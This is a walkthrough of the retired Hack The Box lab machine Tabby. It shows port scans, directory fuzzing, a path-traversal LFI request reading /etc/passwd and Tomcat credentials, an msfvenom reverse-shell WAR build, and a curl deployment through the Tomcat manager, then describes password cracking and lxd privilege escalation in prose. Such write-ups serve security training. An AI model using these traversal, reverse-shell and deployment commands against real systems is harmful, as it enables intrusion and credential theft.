This post documents the complete walkthrough of Tabby, a retired vulnerable VM created by egre55, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Tabby is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=500

Starting masscan 1.0.5 ( at 2020-06-21 10:53:10 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on
Discovered open port 22/tcp on
Discovered open port 80/tcp on

Hmm, nothing unusual stood out. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,8080 -A --reason -oN nmap.txt
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat

Looks like it has something to do with Apache Tomcat, going by the name Tabby. :wink: This is what the two http services look like.


I’d better add megahosting.htb into /etc/hosts.


Data Breach

We see that there have had been a data breach at http://megahosting.htb/news.php?file=statement.

Directory/File Enumeration

Let’s go with wfuzz and see we can find.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc 404 http://megahosting.htb/FUZZ
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://megahosting.htb/FUZZ
Total requests: 4652

ID           Response   Lines    Word     Chars       Payload

000000012:   403        9 L      28 W     280 Ch      ".htpasswd"
000000010:   403        9 L      28 W     280 Ch      ".hta"
000000011:   403        9 L      28 W     280 Ch      ".htaccess"
000000695:   301        9 L      28 W     319 Ch      "assets"
000001720:   200        1 L      9 W      759 Ch      "favicon.ico"
000001749:   301        9 L      28 W     318 Ch      "files"
000002151:   200        373 L    938 W    14175 Ch    "index.php"
000003654:   403        9 L      28 W     280 Ch      "server-status"

Total time: 81.28365
Processed Requests: 4652
Filtered Requests: 4644
Requests/sec.: 57.23167

Let’s go one more level with /files/.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc 404 http://megahosting.htb/files/FUZZ
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://megahosting.htb/files/FUZZ
Total requests: 4652

ID           Response   Lines    Word     Chars       Payload

000000010:   403        9 L      28 W     280 Ch      ".hta"
000000011:   403        9 L      28 W     280 Ch      ".htaccess"
000000012:   403        9 L      28 W     280 Ch      ".htpasswd"
000000660:   301        9 L      28 W     326 Ch      "archive"
000003891:   200        150 L    375 W    6507 Ch     "statement"

Total time: 83.58826
Processed Requests: 4652
Filtered Requests: 4647
Requests/sec.: 55.65374

Local File Inclusion

Looking at the presence of /files/statement and /news.php?file=statement, I think it’s reasonable to infer a LFI vulnerability. Let’s test it out.

# curl -i "http://megahosting.htb/news.php?file=../../../../etc/passwd"
HTTP/1.1 200 OK
Date: Sun, 21 Jun 2020 14:45:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1850
Content-Type: text/html; charset=UTF-8

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false

Awesome. I wrote a simple shell script as a wrapper for the curl command above to ease reading of files.


curl -s \

Tomcat 9 Enumeration

Let’s use our newfound capability to enumerate further. Maybe we can get the credentials to access either the manager or host-manager app in Tomcat?

OK. The box is running the latest LTS version of Ubuntu, i.e. Focal Fossa. Next up, let’s look at the list of files in the tomcat9 package for focal.

Now, see if we can read /usr/share/tomcat9/etc/tomcat-users.xml.

Sweet. The user tomcat has manager-script role. We can deploy a malicious web application!

Low-Privilege Shell

Create a malicious web application that’ll run a reverse shell back to us with msfvenom like so.

# msfvenom -p java/shell_reverse_tcp LHOST= LPORT=1234 -f war -o rev.war

Upload the WAR file like so.

# curl -T rev.war 'http://tomcat:[email protected]:8080/manager/text/deploy?path=/rev'

Run the web application

Getting user.txt

It should be obvious that user.txt is in ash’s home directory but how do we get access to ash’s account?

I’ve transferred a copy to my local machine for further analysis. Looks like it’s password-protected.

John the Ripper to the rescue.

Offline cracking is fast.

Maybe [email protected] is ash’s password?

Indeed it is.

Privilege Escalation

During enumeration of ash’s account, I notice that the account is a member of the lxd group. As such, it’s susceptible to a privilege escalation exploit described here. Lucky for me, someone built the Alpine image and uploaded to ash’s home directory, saving me time and bandwidth.

Furthermore, the container is already running. :laughing:

Thank you anonymous HTB player! :kiss: With that, it’s trivial to launch a shell as root.

It’s easy to find out where the container is mounted.

Finally, let’s get that root.txt.